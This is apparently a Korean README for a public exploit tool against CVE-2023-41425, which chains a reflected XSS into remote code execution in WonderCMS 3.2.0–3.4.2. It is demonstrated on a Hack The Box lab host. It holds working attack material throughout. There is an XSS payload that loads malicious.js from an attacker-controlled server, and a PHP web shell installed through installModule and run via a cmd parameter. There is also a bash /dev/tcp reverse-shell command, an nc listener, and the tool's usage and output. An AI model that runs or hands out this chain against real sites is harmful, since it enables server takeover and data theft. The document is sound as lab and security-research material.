xpltive/cve-2023-41425WonderCMS v3.2.0 - v3.4.2 XSS-to-RCE 익스플로잇
CVE-2023-41425는 Wonder CMS의 반사형 XSS 취약점으로, installModule 구성 요소를 통해 악성 스크립트로 임의 코드를 실행할 수 있게 해줍니다.
대상의 loginURL에 익스플로잇을 실행하고, 악성 .js 파일을 호스팅하는 웹 서버의 IP와 포트를 지정합니다:
$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"
[+] Starting HTTP server
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED--> "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED--> "GET /malicious.zip HTTP/1.1" 200 -
XSS 페이로드를 피해자에게 전송하세요. 피해자가 링크를 열면 위에서 시작한 웹 서버로부터 .js가 요청됩니다. 그런 다음 .js는 간단한 PHP 웹 셸을 포함하는 악성 .zip 모듈을 다운로드합니다.
.zip이 요청되면 installModule을 통해 설치되며, 스크립트가 제공한 링크로 접근할 수 있습니다.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
먼저 리스너를 설정한 다음, 아무 명령이나 실행하여 리버스 셸 연결을 설정하세요. 스크립트는 이를 위한 예시 하나(Linux)를 제공합니다.
$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
그리고 리스너에서 연결을 확인합니다:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 54398
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/malicious$
요구 사항을 설치합니다:
pip install -r requirements.txt
도움말:
$ python3 exploit.py --help
usage: exploit.py [-h] --url URL --xip XIP --xport XPORT
Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)
Initial CVE and proof-of-concept by prodigiousMind
Rewritten by xpltive
options:
-h, --help show this help message and exit
--url URL Target URL of loginURL (Example: http://sea.htb/loginURL)
--xip XIP IP for HTTP web server that hosts the malicious .js file
--xport XPORT Port for HTTP web server that hosts the malicious .js file
prodigiousMind님이 취약점을 발견하고 보고해 주셨습니다 (링크).